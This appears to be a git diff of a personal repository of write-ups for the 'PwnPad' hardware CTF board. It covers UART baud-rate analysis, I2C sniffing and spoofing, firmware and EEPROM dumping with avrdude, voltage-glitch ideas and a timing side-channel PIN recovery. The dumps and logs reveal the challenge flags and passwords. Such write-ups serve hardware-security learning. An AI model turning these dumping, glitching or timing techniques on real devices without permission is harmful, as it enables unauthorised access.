+**Your mission is clear:**
+
+1. **Identify the obscure UART baud rate** used by the device.
+2. **Bypass the UART login screen** via a fault injection.
+3. **Gain control of the device and retrieve the flag through the UART interface.**
+
+## Setup
+
+
+
+## Notes
+
+Start much like challenge #2 and analyze the traffic to identify the pulse width:
+
+
+
+**Quick math:**\
+Baud rate = 1 / bit time\
+Bit time = 1 microsecond = 1 × 10⁻⁶ seconds\
+Baud rate = 1 / (1 × 10⁻⁶) = 1 000 000 baud
+
+**Answer:** The UART baud rate is 1 000 000 baud (1 Mbps).
+
+
+lets check that:
+
+
+
+It already has a hardcoded password.\
+It sets a variable to 1 (the correct password variable).\
+You input a string and it will read up until "\r".\
+For each letter of the hardcoded password it will check the corresponding letter of the input string, if it doesnt match then it sets the variable to 0 (password incorrect).\
+Once this has complete it checks the variable and either returns the flag or an error message.\
+That looks as follows:
+
+```
+void blackbox_chain_UART_Glitch_Attack(void){
+ const char password[] = "-redacted-"; // orig 17 chars
+ Serial.begin(900847); // dbeef
+ Serial.println("\nWelcome to my Login Interface!");
+ Serial.println("You managed to identify my UART baudrate, now please login.");
+ Serial.println("[+] Please Provide Your Password:");
+
+ while(1){
+ Serial.flush();
+ if (Serial.available() > 0) {
+ char provided_password[strlen(password)];
+ Serial.readBytesUntil('\n', provided_password, strlen(password));
+ int success = 1;
+ for (int i = 0; i < strlen(password); i++) {
+ if (provided_password[i] != password[i]) {
+ success = 0;
+ break;
+ }
+ }
+
+ if (success == 1) {
+ Serial.println("-redacted flag-");
+ Serial.flush();
+ exit(0);
+ } else {
+ Serial.println("[-] Login FAILED");
+ Serial.println("[+] Please Provide Your Password:");
+ }
+ }
+ }
+}
+```
+
+It seems like there are a few potential glitch places:
+
+`if (success == 1) {` - have to get crazy lucky to glitch this comparison or glitch the variable “success” to be 1!
+
+`Serial.println("[-] Login FAILED");` - could glitch the pointer to the string and it echos another memory location (hopefully the flag) - insanely unlikley
+
+`for (int i = 0; i < strlen(password); i++) {` - if could glitch the loop so skips over it entirely and “success” would stay 1
+
+Of course I wrote a glitch-o-bolt script to brute-force this: [glitch-o-bolt config](docs/11_GoB_config.py)
+
+The watchdog is there because sometimes it glitched into a state that caused it to stop responding, if it doesnt respond for 2 seconds then the watchdog will restart the device (with a long glitch).
+
+I didnt get it to bypass the check or echo the flag. I think given enough time it will, theres got to be a better way of doing this?
+
+It did echo the previous challenges flag a lot (I guess it was in the memory, or at an address where one bit flip pointed to or somesuch)
+
+
\ No newline at end of file
diff --git a/12.md b/12.md
new file mode 100644
index 0000000..1bf3787
--- /dev/null
+++ b/12.md
@@ -0,0 +1,87 @@
+# **Challenge 12: "Chaos Chain: Timebomb"**
+
+In this final Black Box CTF challenge, the device steps up the difficulty:
+- The **UART pins have been relocated**, so you must manually identify the correct pins.
+- The UART communication runs at a **non-common baud rate**, adding an extra layer of complexity.
+- After establishing communication, you must perform a **timing side-channel attack** to extract the secret.
+
+Only the most persistent and observant hackers will succeed.
+
+**Your mission is clear:**
+
+1. **Identify the relocated UART pins** through careful probing.
+2. **Determine the obscure UART baud rate** used by the device.
+3. **Perform a timing side-channel attack** to retrieve the hidden flag via UART.
+
+## Setup
+
+
+
+## Notes
+
+The first step was probing around until I found the correct UART pins, once I did, I then hooked up some clips to the logic analyzer:
+
+
+
+This gave the following:
+
+
+
+I then traced the chip pins to the header pins on the board and hooked up the board to look like the setup picture above.
+
+Maths that pulse width:\
+Baud rate = 1 / bit time\
+Bit time = 833.75 microseconds = 833.75 × 10⁻⁶ seconds\
+Baud rate = 1 / (833.75 × 10⁻⁶) = 1 199.1004 baud
+
+**Answer:** The UART baud rate is approximately 1 199 baud.
+
+For this one I didnt use glitch-o-bolt, instead opting for a standalone python script: [12_solution.py](docs/12_solution.py)\
+The full solution output can be read here: [12_solution.txt](docs/12_solution.txt)
+
+But to summarize:
+
+```
+[INFO] Analysing position 6/8
+[RESULT] Candidate '0' average LOW-delay: 1011.00 ms
+[RESULT] Candidate '1' average LOW-delay: 1011.00 ms
+[RESULT] Candidate '2' average LOW-delay: 1021.00 ms
+[RESULT] Candidate '3' average LOW-delay: 1011.00 ms
+[RESULT] Candidate '4' average LOW-delay: 1010.00 ms
+[RESULT] Candidate '5' average LOW-delay: 1009.00 ms
+[RESULT] Candidate '6' average LOW-delay: 1012.00 ms
+[RESULT] Candidate '7' average LOW-delay: 1012.00 ms
+[RESULT] Candidate '8' average LOW-delay: 1013.00 ms
+[RESULT] Candidate '9' average LOW-delay: 1010.00 ms
+[INFO] Position 6 selected: '2' (avg 1021.00 ms)
+
+ ┌───────────────────────────────┐
+ │ Progress: 253152 │
+ └───────────────────────────────┘
+
+[INFO] Analysing position 7/8
+[RESULT] Candidate '0' average LOW-delay: 1020.00 ms
+[RESULT] Candidate '1' average LOW-delay: 1020.00 ms
+[RESULT] Candidate '2' average LOW-delay: 1022.00 ms
+[RESULT] Candidate '3' average LOW-delay: 0.00 ms
+[RESULT] Candidate '4' average LOW-delay: 1022.00 ms
+[RESULT] Candidate '5' average LOW-delay: 1021.00 ms
+[RESULT] Candidate '6' average LOW-delay: 1019.00 ms
+[RESULT] Candidate '7' average LOW-delay: 1023.00 ms
+[RESULT] Candidate '8' average LOW-delay: 1022.00 ms
+[RESULT] Candidate '9' average LOW-delay: 1032.00 ms
+[INFO] Position 7 selected: '9' (avg 1032.00 ms)
+
+ ┌───────────────────────────────┐
+ │ Progress: 2531529 │
+ └───────────────────────────────┘
+
+[INFO] Analysing position 8/8
+[RESULT] Candidate '0' average LOW-delay: 1031.00 ms
+[RESULT] Candidate '1' average LOW-delay: 1032.00 ms
+[RESULT] Candidate '2' average LOW-delay: 1032.00 ms
+[RESULT] Candidate '3' average LOW-delay: 1030.00 ms
+[SUCCESS] Device accepted code via UART: TS{D0n7_M355_w17h_t1m3} -> 25315294
+[SUCCESS] Discovered PIN: 25315294
+[INFO] Connections closed
+```
\ No newline at end of file
diff --git a/README.md b/README.md
new file mode 100644
index 0000000..3a25cd4
--- /dev/null
+++ b/README.md
@@ -0,0 +1,33 @@
+12Sec CTF - PwnPad v1.0
+===============
+
+This is where I am storing my documentation and solutions for the PwnPad CTF.
+
+>**There are spoilers here, if you dont want to read spoilers/solutions/flags then turn away now**
+>
+> You have been warned.
+>
+> **THIS REPO CONTAINS SPOILERS**
+
+That being said the solutions I have come up with may not be the intended solution, but they are what worked for me.
+
+## Status
+
+|done|#|Name|Topics|Description|
+|---|---|---|---|---|
+|[x]|[01](01.md)|Serial Snitch|`#UART`|Intercept and decode UART communication.|
+|[x]|[02](02.md)|Echo Chamber|`#UART`|Intercept and decode UART communication, with security through obscurity.|
+|[x]|[03](03.md)|Bus Whisperer|`#I2C`|Spy on I2C traffic to extract secrets.|
+|[x]|[04](04.md)|Invisible Wires|`#I2C`|Attack I2C when slave devices are missing.|
+|[x]|[05](05.md)|Code Heist|`#SPI` `#ISP` `#Flash` `#UART`|Dump and analyze firmware from flash.|
+|[x]|[06](06.md)|Hard Leak|`#SPI` `#ISP` `#EEPROM`|Extract data from the internal EEPROM.|
+|[x]|[07](07.md)|Power Trip|`#FaultInjection` `#UART`|Use glitching to bypass dead code statements.|
+|[x]|[08](08.md)|Glitch Storm|`#FaultInjection` `#UART`|Use glitching to bypass password verification.|
+|[x]|[09](09.md)|Clock Spy|`#SideChannel` `#UART`|Leak secrets using timing variations.|
+|[x]|[10](10.md)|Tempo Leak|`#SideChannel` `#UART`|Leak secrets using timing variations with a twist.|
+|[ ]|[11](11.md)|Chaos Chain: Glitchgate|`#FaultInjection` `#UART` |Combine UART and glitch attacks to break in.|
+|[x]|[12](12.md)|Chaos Chain: Timebomb|`#UART` `#SideChannel`|Combine UART and chain timing leaks to break in.|
+
+## The Board
+
+
\ No newline at end of file
diff --git a/docs/01_GoB.png b/docs/01_GoB.png
new file mode 100644
index 0000000..323ad56
--- /dev/null
+++ b/docs/01_GoB.png
Binary files differ
diff --git a/docs/01_GoB_config.py b/docs/01_GoB_config.py
new file mode 100644
index 0000000..19bd20d
--- /dev/null
+++ b/docs/01_GoB_config.py
@@ -0,0 +1,50 @@
+######
+# LEAVE THESE IMPORTS!
+######
+import functions
+import time
+
+######
+# config values
+######
+
+SERIAL_PORT = '/dev/ttyUSB0'
+BAUD_RATE = 9600
+UART_NEWLINE = ""
+
+###
+# name, enabled, string to match
+###
+conditions = [
+ ['1', False, "", 'one'],
+ ['2', False, "", 'two'],
+ ['3', False, "", 'three'],
+]
+
+######
+# Custom functions
+######
+
+# Toggle states for each function
+toggle_state_one = 0
+toggle_state_two = 0
+toggle_state_three = 0
+
+def one():
+ global toggle_state_one
+ functions.send_uart_message("1")
+ functions.send_uart_message(str(toggle_state_one))
+ toggle_state_one = 1 - toggle_state_one
+
+def two():
+ global toggle_state_two
+ functions.send_uart_message("2")
+ functions.send_uart_message(str(toggle_state_two))
+ toggle_state_two = 1 - toggle_state_two
+
+def three():
+ global toggle_state_three
+ functions.send_uart_message("3")
+ functions.send_uart_message(str(toggle_state_three))
+ toggle_state_three = 1 - toggle_state_three
+
diff --git a/docs/01_setup.png b/docs/01_setup.png
new file mode 100644
index 0000000..2620b36
--- /dev/null
+++ b/docs/01_setup.png
Binary files differ
diff --git a/docs/02_GoB.png b/docs/02_GoB.png
new file mode 100644
index 0000000..f39dfc7
--- /dev/null
+++ b/docs/02_GoB.png
Binary files differ
diff --git a/docs/02_GoB_config.py b/docs/02_GoB_config.py
new file mode 100644
index 0000000..2671dec
--- /dev/null
+++ b/docs/02_GoB_config.py
@@ -0,0 +1,7 @@
+######
+# config values
+######
+
+SERIAL_PORT = '/dev/ttyUSB0'
+BAUD_RATE = 31250
+
diff --git a/docs/02_logic_01.png b/docs/02_logic_01.png
new file mode 100644
index 0000000..a0172e4
--- /dev/null
+++ b/docs/02_logic_01.png
Binary files differ
diff --git a/docs/02_logic_02.png b/docs/02_logic_02.png
new file mode 100644
index 0000000..4fff1fb
--- /dev/null
+++ b/docs/02_logic_02.png
Binary files differ
diff --git a/docs/02_setup.png b/docs/02_setup.png
new file mode 100644
index 0000000..9da2c40
--- /dev/null
+++ b/docs/02_setup.png
Binary files differ
diff --git a/docs/03_logic.png b/docs/03_logic.png
new file mode 100644
index 0000000..82b6351
--- /dev/null
+++ b/docs/03_logic.png
Binary files differ
diff --git a/docs/03_setup.png b/docs/03_setup.png
new file mode 100644
index 0000000..4b3b988
--- /dev/null
+++ b/docs/03_setup.png
Binary files differ
diff --git a/docs/04_arduino.ino b/docs/04_arduino.ino
new file mode 100644
index 0000000..9fac534
--- /dev/null
+++ b/docs/04_arduino.ino
@@ -0,0 +1,31 @@
+// Minimal I2C slave that ACKs writes at address 0x12
+// Reads and discards incoming bytes so the master write is acknowledged
+#include
+
+const uint8_t SLAVE_ADDR = 0x12; // 18 decimal
+
+void setup() {
+ Wire.begin(SLAVE_ADDR); // start as slave at 0x12
+ Wire.onReceive(onReceive); // handle master write transfers
+ // LED gives a short visual indication of activity
+ pinMode(LED_BUILTIN, OUTPUT);
+ digitalWrite(LED_BUILTIN, LOW);
+}
+
+void loop() {
+ // No active work required in loop for this simple slave
+ delay(200);
+}
+
+// Called when the master writes to this slave
+void onReceive(int bytes) {
+ // Read and discard all incoming bytes so the master sees ACKs
+ while (Wire.available()) {
+ (void)Wire.read();
+ }
+
+ // Short LED flash to indicate a received transfer
+ digitalWrite(LED_BUILTIN, HIGH);
+ delay(40);
+ digitalWrite(LED_BUILTIN, LOW);
+}
\ No newline at end of file
diff --git a/docs/04_logic_01.png b/docs/04_logic_01.png
new file mode 100644
index 0000000..11e3729
--- /dev/null
+++ b/docs/04_logic_01.png
Binary files differ
diff --git a/docs/04_logic_02.png b/docs/04_logic_02.png
new file mode 100644
index 0000000..0f8368e
--- /dev/null
+++ b/docs/04_logic_02.png
Binary files differ
diff --git a/docs/04_setup.png b/docs/04_setup.png
new file mode 100644
index 0000000..41c193a
--- /dev/null
+++ b/docs/04_setup.png
Binary files differ
diff --git a/docs/05_GoB.png b/docs/05_GoB.png
new file mode 100644
index 0000000..24041fd
--- /dev/null
+++ b/docs/05_GoB.png
Binary files differ
diff --git a/docs/05_setup_01.png b/docs/05_setup_01.png
new file mode 100644
index 0000000..bed110a
--- /dev/null
+++ b/docs/05_setup_01.png
Binary files differ
diff --git a/docs/05_setup_02.png b/docs/05_setup_02.png
new file mode 100644
index 0000000..82f24d7
--- /dev/null
+++ b/docs/05_setup_02.png
Binary files differ
diff --git a/docs/07_GoB.png b/docs/07_GoB.png
new file mode 100644
index 0000000..34dc284
--- /dev/null
+++ b/docs/07_GoB.png
Binary files differ
diff --git a/01.md b/01.md
new file mode 100644
index 0000000..bee686a
--- /dev/null
+++ b/01.md
@@ -0,0 +1,23 @@
+# **Challenge 1: "Serial Snitch"**
+
+As a skilled hardware hacker, you've intercepted a mysterious device recovered from a rogue tech syndicate. The device, dubbed **"Specter-1"**, controls access to a secret underground server, but its interface remains locked behind an unknown UART configuration.
+
+Your mission is clear:
+
+1. **Identify the UART pins** you've uncovered during your investigation.
+2. **Determine the correct baud rate** to establish a stable connection.
+3. **Access the device’s command interface** and unlock control over the system’s lighting grid.
+
+## Setup
+
+
+
+## Notes
+
+The baudrate was a standard one, simply connecting the right wires and using the correct baudrate I was able to gain access (and the flag)
+
+Of course I made a glitch-o-bolt config for this: [01_GoB_config.py](docs/01_GoB_config.py)
+
+It looks as follows:
+
+
\ No newline at end of file
diff --git a/02.md b/02.md
new file mode 100644
index 0000000..4a2fa20
--- /dev/null
+++ b/02.md
@@ -0,0 +1,46 @@
+# **Challenge 2: "Echo Chamber"**
+
+Following the success of your first infiltration, you've intercepted another device from the same syndicate. This one seems almost identical — same pinout, same behavior — but something’s off. Your usual tools can’t make sense of the UART output. It looks like the engineers behind this one were clever enough to **obfuscate communication by using a non-standard baud rate**.
+
+The challenge is a test of patience and precision. You'll need to **analyze the signal itself** to get in.
+
+**Your mission is clear:**
+
+1. **Identify the UART pins** using your probing tools.
+2. **Determine the correct (non-standard) baud rate** via signal analysis.
+3. **Establish a reliable terminal connection** and extract the flag from the interface.
+
+## Setup
+
+
+
+## Notes
+
+I started by running logic to capture the transmissions with the logic analyser
+
+
+
+Some simple math to determine the baud rate from the pulse width: (or ask chatGPT like I did)
+
+Baud rate calculation
+
+**Given:** Bit duration = 32 microseconds = 32 × 10⁻⁶ seconds
+
+**Formula:** Baud rate = 1 / bit duration
+
+**Calculation:** Baud rate = 1 / (32 × 10⁻⁶)\
+Baud rate = 31,250 baud
+
+**Answer:** 31,250 baud
+
+Whip up a quick glitch-o-bolt config: [02_GoB_config.py](docs/02_GoB_config.py)
+
+This results in:
+
+
+
+This could also be checked direcectly in logic:
+
+
+
+(Reading source I know the baud rate is supposed to be 31337)
\ No newline at end of file
diff --git a/03.md b/03.md
new file mode 100644
index 0000000..96d14fd
--- /dev/null
+++ b/03.md
@@ -0,0 +1,25 @@
+# **Challenge 3: "Bus Whisperer"**
+
+Deep inside an abandoned research lab, you’ve discovered a prototype security device. It appears to be communicating with hidden components over an **I2C bus**. The traffic is silent to the untrained eye, but with the right tools, you can eavesdrop on the device's conversations and uncover what it's hiding.
+
+**Your mission is clear:**
+
+1. **Identify the I2C communication lines** used by the device.
+2. **Identify all connected I2C devices** the system is interacting with.
+3. **Retrieve** the hidden message embedded in the communication.
+
+## Setup
+
+
+
+## Notes
+
+Fairly simple. wire up the logic analyser, capture and decode:
+
+
+
+That decodes to:
+
+```
+TS{(h@||eng3_07P_i5_1951556615}
+```
\ No newline at end of file
diff --git a/04.md b/04.md
new file mode 100644
index 0000000..05e1bbd
--- /dev/null
+++ b/04.md
@@ -0,0 +1,33 @@
+# **Challenge 4: "Invisible Wires"**
+
+You’ve infiltrated a secure facility to extract a prototype device believed to hold critical secrets. After ripping the main board from its casing and making your escape, a sudden realization hits (**you left a secondary board behind**), still wired in and powered.
+
+Unexpectedly, the stolen board is trying to communicate with its twin over **I2C**, as if expecting a response. It’s time to turn the tables: tap into the bus, reverse the dialogue, and extract what it’s trying to say.
+
+**Your mission is clear:**
+
+1. **Identify the I2C lines** used for board-to-board communication.
+2. **Reverse engineer the protocol** or expected responses from the second board.
+3. **Emulate or spoof the missing board** to trigger a flag or secret message.
+
+## Setup
+
+
+
+## Notes
+
+Fire up the logic analyzer and see it's lookign for a device with a specific address:
+
+
+
+So I made a small arduino sketch to emulate this: [04_arduino.ino](docs/04_arduino.ino)
+
+The next time I checked the logic analyzer:
+
+
+
+This decodes to:
+
+```
+TS{1_N33D_/\/\y_8u66y}
+```
\ No newline at end of file
diff --git a/05.md b/05.md
new file mode 100644
index 0000000..9440047
--- /dev/null
+++ b/05.md
@@ -0,0 +1,181 @@
+# **Challenge 5: "Code Heist"**
+
+In a high-tech underground bunker, you've stumbled upon a **security keypad** linked to a classified device. The rumors suggest that entering a **hidden password** will unlock a **secret mode**, but there’s a catch—the password isn’t documented anywhere.
+
+However, your investigation reveals that the device’s firmware is stored in the internal **Flash memory**, and there’s a chance that the password is hardcoded within. If you can extract the firmware, you just might be able to pull off the ultimate **code heist**.
+
+**Your mission is clear:**
+
+1. **Dump the firmware** from the internal Flash memory using available debugging or ISP interfaces.
+2. **Analyze the firmware binary** to locate and recover the hardcoded password.
+3. **Use the password on the keypad** to unlock the device’s secret mode and retrieve the flag.
+
+## Setup
+
+
+
+## Notes
+
+I used a seperate arduino with the "Arduino as ISP" sketch loaded and pulled the chip from the PwnPad which was then put in to a second spare arduino. The following was used to confirm that the atmega328p could be read:
+
+```
+$> avrdude -v -c arduino -P /dev/ttyACM0 -b 19200 -p m328p -n
+
+avrdude: Version 7.1
+ Copyright the AVRDUDE authors;
+ see https://github.com/avrdudes/avrdude/blob/main/AUTHORS
+
+ System wide configuration file is /etc/avrdude.conf
+ User configuration file is /root/.avrduderc
+ User configuration file does not exist or is not a regular file, skipping
+
+ Using Port : /dev/ttyACM0
+ Using Programmer : arduino
+ Overriding Baud Rate : 19200
+ AVR Part : ATmega328P
+ Chip Erase delay : 9000 us
+ PAGEL : PD7
+ BS2 : PC2
+ RESET disposition : possible i/o
+ RETRY pulse : SCK
+ Serial program mode : yes
+ Parallel program mode : yes
+ Timeout : 200
+ StabDelay : 100
+ CmdexeDelay : 25
+ SyncLoops : 32
+ PollIndex : 3
+ PollValue : 0x53
+ Memory Detail :
+
+ Block Poll Page Polled
+ Memory Type Alias Mode Delay Size Indx Paged Size Size #Pages MinW MaxW ReadBack
+ ----------- -------- ---- ----- ----- ---- ------ ------ ---- ------ ----- ----- ---------
+ eeprom 65 20 4 0 no 1024 4 0 3600 3600 0xff 0xff
+ flash 65 6 128 0 yes 32768 128 256 4500 4500 0xff 0xff
+ lfuse 0 0 0 0 no 1 1 0 4500 4500 0x00 0x00
+ hfuse 0 0 0 0 no 1 1 0 4500 4500 0x00 0x00
+ efuse 0 0 0 0 no 1 1 0 4500 4500 0x00 0x00
+ lock 0 0 0 0 no 1 1 0 4500 4500 0x00 0x00
+ signature 0 0 0 0 no 3 1 0 0 0 0x00 0x00
+ calibration 0 0 0 0 no 1 1 0 0 0 0x00 0x00
+
+ Programmer Type : Arduino
+ Description : Arduino for bootloader using STK500 v1 protocol
+ Hardware Version: 2
+ Firmware Version: 1.18
+ Topcard : Unknown
+
+avrdude: AVR device initialized and ready to accept instructions
+avrdude: device signature = 0x1e950f (probably m328p)
+
+avrdude done. Thank you.
+```
+
+Then pull the firmware:
+
+```
+$> avrdude -c arduino -P /dev/ttyACM0 -b 19200 -p m328p -U flash:r:flash_dump.bin:r
+
+avrdude: AVR device initialized and ready to accept instructions
+avrdude: device signature = 0x1e950f (probably m328p)
+avrdude: reading flash memory ...
+
+Reading | ################################################## | 100% 20.92 s
+
+avrdude: writing output file flash_dump.bin
+
+avrdude done. Thank you.
+```
+
+Instead of loading the firmware in ghidra or another reversing tool I simply ran strings against it to find some low hanging fruit:
+
+```
+$> strings flash_dump.bin
+ h>s@
+/_?O/s3'
+IUZO
+E+F+G+i
+/_?Oy
+ h1P
+!P1 A Q V
+#+$+%+y
+G.Q,a,q,
+E.Q,a,q,
+C.Q,C
+d.q,N
+O.Q,a,q,
+&.1,s
+G.Q,
+n.q,N
+/_?OY
+(P1
+.P1
+'*0Q
+?OOO_O
+"P1 9
+N__O$
+N__O
+"P1
+Q,A,
+APP@
+SECRET MODE UNLOCKED: TS{F1rmw@re_S3cret}
+- .-- ...-- .-.. ...- . ..... ...-- -.-.
++=========== Welcome To The UART Challenge ===========+
+| You Successfully Identified The Baudrate |
+| You Can Now Control The LEDS |
+| TS{U@rt_15_@w3s0m3} |
++=====================================================+
+SELECT LED (1/2/3) >
+Error Wrong Id !
+SELECT STATUS (0/1) >
+Something Went Wrong!
+TS{N0w_Y0u_@r3_@n_el173_H@(k3r}
+TS{(h@||eng3_07P_i5_
+TS{1_N33D_/\/\y_8u66y}
+I will never tell you my secret !
+TS{Gl1th3s_@r3_Awe50m3_!}
+---------------------
+cnt:
+Hahaha, I changed my trigger go and find it
+TS{0h_n0_y0u_foun6_my_7r1gg3r}
+You will never enter my vault!
+TS{Y0u_3nter36_th3_v@ul7}
+You are no good enough
+TS{D@mn_y0u_@r3_g006}
+Welcome to my Login Interface!
+You managed to identify my UART baudrate, now please login.
+[+] Please Provide Your Password:
+Please Enter Your 8 Digit PIN:
+TS{D0n7_M355_w17h_t1m3}
+[-] Wrong PIN!
+No Challenge Selected!
+[-] Login FAILED
+TS{L0gin_Succ355fu1_!}
+d3@1bt7*0PqSxc9~^
+25315294
+355fu1_!}
+[-] Login FAILED
+- .-- ...-- .-.. ...- . ..... ...-- -.-.
+d3@1bt7*0PqSxc9~^
+25315294
+Password:
+Please Enter Your 8 Digit PIN:
+TS{D0n7_M355_w17h_t1m3}
+[-] Wrong PIN!
+No Challenge Selected!
+[-] Login FAILED
+TS{L0gin_Succ355fu1_!}
+- .-- ...-- .-.. ...- . ..... ...-- -.-.
+d3@1bt7*0PqSxc9~^
+25315294
+$N__O
+```
+
+Wow loads of flags! we know that we need to find the morese code as that can be input via UART:
+
+
+
+I wasnt convinced that was the intended way of doing it, so I also pulled the firmware using the headers on the board, that setup looked like:
+
+
\ No newline at end of file
diff --git a/06.md b/06.md
new file mode 100644
index 0000000..a55dd6c
--- /dev/null
+++ b/06.md
@@ -0,0 +1,76 @@
+# **Challenge 6: "Hard Leak"**
+
+You've managed to extract a mysterious device from a corporate blacksite. After digging into the firmware, you realize there's **nothing useful stored in Flash**, but there's one more place secrets like to hide: the **internal EEPROM**.
+
+**Your mission is clear:**
+
+1. **Identify how to access the internal EEPROM** of the device using ISP or other means.
+2. **Recover the hidden flag** from the leaked EEPROM data.
+
+## Setup
+
+
+
+## Notes
+
+This was basically the same as the previous challenge. Pull the eeprom instead of the flash:
+
+```
+$> avrdude -c arduino -P /dev/ttyACM0 -b 19200 -p m328p -U eeprom:r:eeprom_dump.hex:i
+
+avrdude: AVR device initialized and ready to accept instructions
+avrdude: device signature = 0x1e950f (probably m328p)
+avrdude: reading eeprom memory ...
+
+Reading | ################################################## | 100% 4.14 s
+
+avrdude: writing output file eeprom_dump.hex
+
+avrdude done. Thank you.
+```
+
+Echo the file to reads it's contents:
+
+```
+$> cat eeprom_dump.hex
+:2000000054537B33335052304D5F69355F66756E5F217DFFFFFFFFFFFFFFFFFFFFFFFFFFA4
+:20002000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFE0
+:20004000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFC0
+:20006000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFA0
+:20008000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF80
+:2000A000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF60
+:2000C000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF40
+:2000E000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF20
+:20010000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
+:20012000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDF
+:20014000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFBF
+:20016000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF9F
+:20018000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF7F
+:2001A000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5F
+:2001C000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF3F
+:2001E000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF1F
+:20020000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFE
+:20022000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDE
+:20024000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFBE
+:20026000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF9E
+:20028000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF7E
+:2002A000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5E
+:2002C000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF3E
+:2002E000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF1E
+:20030000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFD
+:20032000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDD
+:20034000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFBD
+:20036000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF9D
+:20038000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF7D
+:2003A000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D
+:2003C000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF3D
+:2003E000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF1D
+:00000001FF
+```
+
+Convert the hex string that stands out at the begining: (54537B33335052304D5F69355F66756E5F217D)
+
+```
+$> grep -oP ':[0-9A-F]{8}\K[0-9A-F]+' eeprom_dump.hex | tr -d '\n' | xxd -r -p | strings
+TS{33PR0M_i5_fun_!}
+```
diff --git a/07.md b/07.md
new file mode 100644
index 0000000..a84a949
--- /dev/null
+++ b/07.md
@@ -0,0 +1,26 @@
+# **Challenge 7: "Power Trip"**
+
+You’ve discovered a device that appears locked down tight, every known interface rejects your commands. But somehow you find a **code block that’s never supposed to execute**, likely due to built-in protection checks.
+
+By carefully injecting a **voltage glitch** at the right moment, you might be able to **bypass those checks** and force the device into revealing its hidden path. The **SDA pin** serves as your glitch trigger, and if successful, the device will spill the flag over **UART @ 9600 baudrate**.
+
+**Your mission is clear:**
+
+1. **Identify the timing window** during which to trigger the voltage glitch.
+2. **Inject a glitch using the SDA pin as your trigger source.**
+3. **Access the dead code block** and retrieve the flag via UART at 9600 baudrate.
+
+## Setup
+
+
+
+## Notes
+
+Start by logic analyzing the pins:
+
+
+
+Use the pulse on an input pin of the curious bolt as a trigger to cause the glitch.\
+Made easier with the Glitch-o-Bolt config: [07_GoB_config.py](docs/07_GoB_config.py)
+
+
\ No newline at end of file
diff --git a/08.md b/08.md
new file mode 100644
index 0000000..ce1324d
--- /dev/null
+++ b/08.md
@@ -0,0 +1,25 @@
+# **Challenge 8: "Glitch Storm"**
+
+Building on the success of the **Power Trip** challenge, you are once again faced with the same challenge. The goal remains the same, **trigger a voltage glitch to enter a hidden code path and retrieve the flag**.
+
+However, the catch this time is that the glitch trigger is no longer the obvious SDA pin. You must **discover the new trigger pin and timing** to successfully glitch the device.
+
+**Your mission is clear:**
+
+1. **Analyze the device to identify the new glitch trigger.**
+2. **Precisely time and inject the voltage glitch at the discovered trigger.**
+3. **Access the hidden code block and extract the flag over UART.**
+
+## Setup
+
+
+
+## Notes
+
